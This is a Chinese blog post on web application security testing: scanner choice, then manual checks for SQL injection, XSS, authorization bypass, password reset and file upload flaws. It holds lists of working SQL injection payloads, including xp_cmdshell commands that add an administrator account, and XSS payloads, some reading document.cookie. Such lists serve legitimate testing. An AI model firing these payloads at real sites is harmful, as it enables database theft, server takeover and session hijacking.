`
angelguo
  • 浏览: 120418 次
  • 性别: Icon_minigender_1
  • 来自: 北京
社区版块
存档分类
最新评论

web安全测试方法

 
阅读更多

工具扫描

目前web安全扫描器针对 XSS、SQL injection 、OPEN redirect 、PHP File Include漏洞的检测技术已经比较成熟。

商业软件web安全扫描器:有IBM Rational Appscan、WebInspect、Acunetix WVS
免费的扫描器:W3af 、Skipfish 等

根据业务资金,可以考虑购买商业扫描软件,也可以使用免费的,各有各的好处。

首页可以对网站进行大规模的扫描操作,工具扫描确认没有漏洞或者漏洞已经修复后,再进行以下手工检测。

手工检测

对于CSRF、越权访问、文件上传、修改密码 等漏洞,难以实现自动化检测的效果,这是因为这些漏洞涉及系统逻辑或业务逻辑,有时候还需要人机交互参与页面流程,因此 这类漏洞的检测更多的需要依靠手动测试完成。
手工检测网站URL、后台登陆是否具有SQL注入

Admin--
‘or --
‘ and ( ) exec insert * % chr mid
and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ; %20AND%201=2
‘and 1=1 ; ‘And 1=1 ; ‘aNd 1=1 ;
and 1=2 ; ‘and 1=2
and 2=2
and user>0
and (select count(*) from sysobjects)>0
and (select count(*) from msysobjects)>0
and (Select Count(*) from Admin)>=0
and (select top 1 len(username) from Admin)>0(username 已知字段)
;exec master..xp_cmdshell “net user name password /add”—
;exec master..xp_cmdshell “net localgroup name administrators /add”—
and 0<>(select count(*) from admin)
123 '' where userid = ***; select * from
123 \' where userid = ***; select * from
123 " where userid = 200153; select * from
;and user>0 
and 1=(selet top 1 user from admin)
;and db_name()>0 
Order by 10
And 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin
And 1=2 union select 1,2,3,user,5,passwd,7,8,9,10 from admin
And (Select top 1 asc(mid(user,n,1)) from admin)>100
And (Select top 1 asb(asc(mid(user,n,1))) from admin)>15320
And (Select count(*) from 表名)<>0
And (Select count(列名) from 表名)<>0
and exists (select * from 表名)
and exists (select 列名 from 表名)
and exists (select len(user) from admin)>3
'or 'a'='a
select admin from adminbate where user=''or 'a'='a' and passwd=''or 'a'='a'
user=request("user")
passwd=request("passwd")
sql='select admin from adminbate where user='&'''&user&'''&' and passwd='&'''&passwd&'''

1.判断有无注入点
; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判断是否存在admin这张表
3.猜帐号数目 如果遇到0< 返回正确页面, 1<返回错误页面,说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(密码字段名称password)>0)

XSS:对于get请求的URL一般漏洞扫描软件都可扫描到是否存在XSS漏洞。(但是软件没有完美的,也有误报,或者有遗漏的情况)

对于POST的请求的(例如留言板,评论,等等),就是要在输入框输入的情况,则要进行以下测试

 ★~!@#$%^&*()_+<>,./?;'"[]{}\-
 ★%3Cinput /%3E
 ★%3Cscript%3Ealert('XSS')%3C/script%3E
 ★<input type="text"/>
 ★<input/>
 ★<input/  
 ★<script>alert('xss')</script>
 ★<script>alert('xss');</script>
 ★</script><script>alert(‘xss’)</script>
 ★javascript:alert(/xss/)
 ★javascript:alert(/xss/)
 ★<img src="#" onerror=alert(/xss/)> 
 ★<img src="#" style="Xss:expression(alert(/xss/));"> 
 ★<img src="#"/**/onerror=alert(/xss/) width=100>
 ★=’><script>alert(document.cookie)</script> 
 ★1.jpg" onmouseover="alert('xss')
 ★"></a><script>alert(‘xss’);</script>
 ★http://xxx';alert('xss');var/ a='a
 ★’”>xss&<
 ★"onmouseover=alert('hello');"
 ★&{alert('hello');}
  ★>"'><script>alert(‘XSS')</script>
  ★>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>
 ★>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;
%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>
  ★AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22
  ★%22%2Balert(%27XSS%27)%2B%22
  ★<table background="javascript:alert(([code])"></table>
  ★<object type=text/html data="javascript:alert(([code]);"></object>
  ★<body onload="javascript:alert(([code])"></body>
  ★a?<script>alert(’Vulnerable’)</script>
 ★<!--'">&:
  var from = ‘$!rundata.Parameters.getString(’from’)';
  var from = ”;hackerFunction(document.cookie);”;

 

 上面这些同样适用于GET请求
经过以上测试,如果发现输入框代码溢出,则说明可能存在XSS漏洞,说明要进行过滤.

关于越权操作的问题
例如A用户的个人资料ID为1 B用户个人资料ID为2,我通过登陆B用户,把ID修改为1 就可以查看到用户A的个人资料,这就是越权。

测试方法:通过查看URL的get参数对那些类似明显的顺序数字 进行修改,看是否能越权
访问。

关于登陆安全的问题
除了SQL注入,还有找回密码功能会出现安全问题
邮箱找回密码测试方法:
先从邮箱参数修改开始,看填入用户名和自己修改的邮箱账号,看是否能收到邮箱,收到后是否能修改。

如果不能修改邮箱参数那么,我们就让它邮箱找回,接着点击邮箱内修改密码的链接,看链接的邮箱参数是否可以修改,用户名是否可以修改,加密的urlcode 是否可以逆向解密。

如果是手机找回密码功能:则测试手机收到的验证码是否是纯数字、纯字母的,如果是请修改为字母与数字的组合。

正式环境的所有发送验证码请求中不能包含验证码信息。

关于用开源程序的问题
关注网上你所用的开源程序的官网更新情况和安全事件。

关于上传:
1.上传文件是否有格式限制,是否可以上传exe文件;
2.上传文件是否有大小限制,上传太大的文件是否导致异常错误,上传0K的文件是否会导致异常错误,上传并不存在的文件是否会导致异常错误;
3.通过修改扩展名的方式是否可以绕过格式限制,是否可以通过压包方式绕过格式限制;
4.是否有上传空间的限制,是否可以超过空间所限制的大小,如将超过空间的大文件拆分上传是否会出现异常错误。
5.上传文件大小大于本地剩余空间大小,是否会出现异常错误。
6.关于上传是否成功的判断。上传过程中,中断。程序是否判断上传是否成功。
7.对于文件名中带有中文字符,特殊字符等的文件上传。
下载:
避免输入:\..\web.
修改命名后缀。

输入验证
客户端验证 服务器端验证(禁用脚本调试,禁用Cookies)
1.输入很大的数(如4,294,967,269),输入很小的数(负数)
2.输入超长字符,如对输入文字长度有限制,则尝试超过限制,刚好到达限制字数时有何反应
3.输入特殊字符,如:~!@#$%^&*()_+<>:”{}|
4.输入中英文空格,输入字符串中间含空格,输入首尾空格
5.输入特殊字符串NULL,null,0x0d 0x0a
6.输入正常字符串
7.输入与要求不同类型的字符,如: 要求输入数字则检查正值,负值,零值(正零,负零),小数,字母,空值; 要求输入字母则检查输入数字
8.输入html和javascript代码
9.对于像回答数这样需检验数字正确性的测试点,不仅对比其与问题最终页的回答数,还要对回答进行添加删除等操作后查看变化
例如:

1.输入<html”>”gfhd</html>,看是否出错;
2.输入<input type=”text” name=”user” onclick="alert(1)"/>,看是否出现文本框;
3.输入<script type=”text/javascript”>alert(“提示”)</script>看是否出现提示。
4.输入”><script type=”text/javascript”>alert(“提示”)</script>看是否出现提示。
5.输入 ”><script><” 看是否出现代码溢出


页面权限泄露
测试在不登陆的情况下是否可以访问到后台的页面,这个只要把后台的目录的URL全部浏览一遍即可

关于任意文件下载

查看上传的图片文件是否可以删除,如果可以删除,查看删除的URL里面的参数是否可以修改

对于本地包含 和 远程包含漏洞的测试

本人推荐有扫描器,目前手工测试存在时间上的开支问题

 

分享到:
评论

相关推荐

    WEB安全测试

    《WEB安全测试》一书是安全测试领域中的经典之作,对于深入理解Web应用...通过学习《WEB安全测试》,你可以掌握一套完整的Web安全测试方法,从而在实际工作中有效地保护Web应用程序免受攻击,提升系统的整体安全性。

    WEB安全测试分类及防范测试方法.docx

    WEB安全测试是确保网站应用程序免受恶意攻击的关键环节。...综上所述,Web安全测试涵盖广泛的测试领域,每种测试方法都有其特定的防范措施。通过实施这些测试,可以有效增强Web应用的安全性,降低被攻击的风险。

    web安全测试规范

    web安全测试规范

    WEB安全测试资料汇总.rar

    在IT行业中,Web安全测试是确保网站和应用程序免受恶意攻击和数据泄露的关键环节。"WEB安全测试资料汇总.rar"这个压缩包包含了多种资源,帮助我们深入理解和实践Web安全测试的相关知识。以下是对这些资源的详细解读...

    Web安全测试全解.zip

    【标签】"Web安全测试全解"和"Web安全测试"强调了这个压缩包的核心内容,即对Web应用进行安全评估和防护的方法论。这些标签涵盖了Web应用的弱点分析、安全审计、渗透测试等主题。 【文件名称列表】中只有一个文件...

    WEB安全测试.pdf

    《Web安全测试》内容简介:在你对Web应用所执行的测试中,安全测试可能是最重要的,但它却常常是最容易被忽略的。《Web安全测试》中的秘诀演示了开发和测试人员在进行单元测试、回归测试或探索性测试的同时,如何去...

    Web安全测试、Web渗透测试

    【Web安全测试、Web渗透测试】是网络安全领域的重要组成部分,主要关注Web应用程序的安全性,防止恶意攻击者利用漏洞对系统造成破坏或盗取敏感信息。本文将深入探讨Web安全测试中的逻辑漏洞及其防范策略。 首先,...

    信息安全技术Web应用安全检测系统安全技术要求和测试评价方法.pdf

    静态应用安全测试是指在不运行Web应用程序的情况下对其进行安全检测,而动态应用安全测试是指在运行Web应用程序的情况下对其进行安全检测。 3. Web应用安全检测的方法:Web应用安全检测可以使用多种方法,例如黑盒...

    WEB安全测试点报告.xlsx

    WEB安全测试点报告,辅助做好系统安全测试。

    WEB安全性测试测试用例(基础)

    输入验证是Web安全测试中的一个重要环节,它主要关注用户提交的数据是否符合预期的格式和类型,旨在防止恶意数据被提交到系统中,造成安全漏洞。以下是几种常见的输入验证测试方法: 1. **测试极端值**:输入非常大...

    Web安全测试规范

    Web安全测试规范是针对Web应用程序进行安全性检测的一套详细指导原则,旨在确保Web应用在上线前能够有效防止各种网络安全威胁。本规范由安全解决方案部电信网络与业务安全实验室、软件公司安全TMG以及软件公司测试...

    Web安全测试测试计划编写.pdf

    "Web安全测试测试计划编写" Web安全测试测试计划编写是指在进行Web应用程序安全测试时,编写的一份详细的测试计划文档。这份文档的目的是为了确保Web应用程序的安全性,保护用户的敏感信息不被非法访问或泄露。下面...

    Web安全服务渗透测试模板.docx

    Web安全服务渗透测试模板 Web安全服务渗透测试模板是一个实用的渗透测试报告模板,旨在帮助企业和个人对Web应用程序和系统进行渗透测试,以检测和评估其安全性。该模板提供了一个结构化的框架,指导测试人员按照...

    web安全测试pdf书

    《Web安全测试》这本书主要涵盖了Web应用程序的安全检测与防护方面的知识。在当今互联网时代,Web应用已经成为企业与用户交互的主要平台,因此确保其安全性至关重要。Web安全测试是防止数据泄露、保护用户隐私以及...

    WEB安全测试pdf

    - **Web安全测试**:它是一种专门针对Web应用程序的测试方法,旨在识别和消除潜在的安全风险,如SQL注入、跨站脚本(XSS)、文件包含漏洞等。 - **渗透测试**:在Web安全测试中,渗透测试是模拟黑客攻击行为来检测...

    web安全测试思维导图

    web安全测试思维导图

    Web安全测试基础知识

    Web安全测试是针对基于Web的应用程序进行的一种安全性评估,旨在发现并修复潜在的安全漏洞,防止黑客攻击和数据泄露。在Web应用开发过程中,安全测试是一个不可或缺的环节,它包括了多个层面的检查和验证。 首先,...

Global site tag (gtag.js) - Google Analytics